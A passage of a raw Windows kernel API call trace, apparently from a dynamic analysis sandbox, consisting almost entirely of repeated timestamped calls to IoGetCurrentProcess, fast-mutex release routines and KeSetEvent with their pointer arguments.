0xffffe00001078440 [0235.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.347] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0236.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.411] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.534] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.597] IoGetCurrentProcess () returned 0xffffe00001078440 [0236.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0237.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0237.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0237.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0237.034] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0239.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.003] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0239.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.317] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.317] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.383] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.383] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0239.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.175] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0240.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.316] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0240.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.378] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.441] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.503] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.566] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.632] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.815] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0240.941] IoGetCurrentProcess () returned 0xffffe00001078440 [0240.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0240.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.066] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.067] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.067] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.128] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.129] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.129] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.191] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.254] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.254] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.255] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0241.316] IoGetCurrentProcess () returned 0xffffe00001078440 [0241.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0241.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.176] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0242.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.371] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.371] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.371] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.372] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.372] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.372] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.520] IoGetCurrentProcess () returned 0xffffe00001078440 [0242.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0242.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0242.520] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0243.988] IoGetCurrentProcess () returned 0xffffe00001078440 [0243.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0243.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0243.988] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0244.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.112] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.112] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.237] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.238] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.301] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.301] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.362] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.362] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.426] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.487] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.488] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.612] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.612] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.675] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.737] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.737] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.800] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.862] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.925] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0244.987] IoGetCurrentProcess () returned 0xffffe00001078440 [0244.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0244.988] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.410] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0245.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0245.472] IoGetCurrentProcess () returned 0xffffe00001078440 [0245.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0245.473] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) 